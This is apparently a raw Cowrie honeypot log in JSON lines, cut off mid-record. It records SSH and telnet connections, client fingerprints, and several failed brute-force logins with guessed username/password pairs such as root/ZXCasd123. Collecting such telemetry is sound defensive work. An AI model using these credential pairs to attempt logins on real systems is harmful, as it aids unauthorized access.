{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":52158,"dst_ip":"10.17.0.5","dst_port":23,"session":"be698ff86df7","protocol":"telnet","message":"New connection: 178.128.93.180:52158 (10.17.0.5:23) [session: be698ff86df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:43:37.521990Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.52.90.106","src_port":42408,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ed0d3f00b8a","protocol":"ssh","message":"New connection: 182.52.90.106:42408 (159.203.135.109:22) [session: 3ed0d3f00b8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:43:41.218833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:43:41.223297Z","src_ip":"182.52.90.106","session":"3ed0d3f00b8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:43:41.486629Z","src_ip":"182.52.90.106","session":"3ed0d3f00b8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZXCasd123","message":"login attempt [root/ZXCasd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:43:42.574403Z","src_ip":"182.52.90.106","session":"3ed0d3f00b8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:43:43.841532Z","src_ip":"182.52.90.106","session":"3ed0d3f00b8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":42298,"dst_ip":"159.203.135.109","dst_port":22,"session":"350be0170119","protocol":"ssh","message":"New connection: 80.66.85.226:42298 (159.203.135.109:22) [session: 350be0170119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:43:44.093841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:43:44.098706Z","src_ip":"80.66.85.226","session":"350be0170119","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:43:44.192193Z","src_ip":"80.66.85.226","session":"350be0170119","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sweetheart","message":"login attempt [root/sweetheart] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:43:44.495539Z","src_ip":"80.66.85.226","session":"350be0170119","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:43:45.591651Z","src_ip":"80.66.85.226","session":"350be0170119","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":38896,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b6d0370165c","protocol":"ssh","message":"New connection: 185.40.30.168:38896 (159.203.135.109:22) [session: 1b6d0370165c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:43:48.629035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:43:48.634111Z","src_ip":"185.40.30.168","session":"1b6d0370165c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:43:48.758579Z","src_ip":"185.40.30.168","session":"1b6d0370165c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":33336,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2ab7be4650d","protocol":"telnet","message":"New connection: 69.4.83.194:33336 (159.203.135.109:23) [session: f2ab7be4650d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:43:48.946672Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwe123","message":"login attempt [admin/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:43:49.285424Z","src_ip":"185.40.30.168","session":"1b6d0370165c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:43:50.415815Z","src_ip":"185.40.30.168","session":"1b6d0370165c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.038169384002686,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:43:56.962707Z","src_ip":"69.4.83.194","session":"ea3df423f94d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.170832872390747,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:44:05.692690Z","src_ip":"178.128.93.180","session":"be698ff86df7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.237.144.204","src_port":53250,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c6ada08242e","protocol":"ssh","message":"New connection: 103.237.144.204:53250 (159.203.135.109:22) [session: 9c6ada08242e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:44:06.438298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:44:06.443223Z","src_ip":"103.237.144.204","session":"9c6ada08242e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:44:06.701083Z","src_ip":"103.237.144.204","session":"9c6ada08242e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZXCasd123","message":"login attempt [root/ZXCasd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:44:07.760417Z","src_ip":"103.237.144.204","session":"9c6ada08242e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:44:09.020510Z","src_ip":"103.237.144.204","session":"9c6ada08242e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.029430866241455,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:44:23.975956Z","src_ip":"69.4.83.194","session":"f2ab7be4650d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":34508,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5627c3eb05d","protocol":"telnet","message":"New connection: 178.128.93.180:34508 (10.17.0.5:23) [session: a5627c3eb05d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:44:25.863588Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":52294,"dst_ip":"159.203.135.109","dst_port":23,"session":"8962b59b91e3","protocol":"telnet","message":"New connection: 69.4.83.194:52294 (159.203.135.109:23) [session: 8962b59b91e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:44:35.883704Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":34856,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b3888357a7b","protocol":"ssh","message":"New connection: 103.77.175.15:34856 (159.203.135.109:22) [session: 9b3888357a7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:44:53.635504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:44:53.640043Z","src_ip":"103.77.175.15","session":"9b3888357a7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:44:53.894553Z","src_ip":"103.77.175.15","session":"9b3888357a7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789a1","message":"login attempt [root/123456789a1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:44:54.660712Z","src_ip":"103.77.175.15","session":"9b3888357a7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:44:55.917068Z","src_ip":"103.77.175.15","session":"9b3888357a7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":32904,"dst_ip":"159.203.135.109","dst_port":23,"session":"62897ae2f2b9","protocol":"telnet","message":"New connection: 69.4.83.194:32904 (159.203.135.109:23) [session: 62897ae2f2b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:44:57.980595Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":33884,"dst_ip":"159.203.135.109","dst_port":23,"session":"76a9ea9c628d","protocol":"telnet","message":"New connection: 69.4.83.194:33884 (159.203.135.109:23) [session: 76a9ea9c628d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:00.447301Z"}
{"eventid":"cowrie.session.closed","duration":33.51253032684326,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:09.396134Z","src_ip":"69.4.83.194","session":"8962b59b91e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":60384,"dst_ip":"159.203.135.109","dst_port":22,"session":"36189d69d19d","protocol":"ssh","message":"New connection: 185.40.30.168:60384 (159.203.135.109:22) [session: 36189d69d19d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:10.169787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:10.175276Z","src_ip":"185.40.30.168","session":"36189d69d19d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:10.304663Z","src_ip":"185.40.30.168","session":"36189d69d19d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rsync","password":"rsync","message":"login attempt [rsync/rsync] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:10.837953Z","src_ip":"185.40.30.168","session":"36189d69d19d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:11.967771Z","src_ip":"185.40.30.168","session":"36189d69d19d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.52.90.106","src_port":57164,"dst_ip":"159.203.135.109","dst_port":22,"session":"c39b75b6d916","protocol":"ssh","message":"New connection: 182.52.90.106:57164 (159.203.135.109:22) [session: c39b75b6d916]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:14.128320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:14.134219Z","src_ip":"182.52.90.106","session":"c39b75b6d916","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:14.392050Z","src_ip":"182.52.90.106","session":"c39b75b6d916","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test123@","message":"login attempt [root/Test123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:15.457434Z","src_ip":"182.52.90.106","session":"c39b75b6d916","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:16.720091Z","src_ip":"182.52.90.106","session":"c39b75b6d916","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":20312,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ab616cadbcc","protocol":"ssh","message":"New connection: 2.57.121.25:20312 (159.203.135.109:22) [session: 9ab616cadbcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:27.673682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:27.678855Z","src_ip":"2.57.121.25","session":"9ab616cadbcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["ae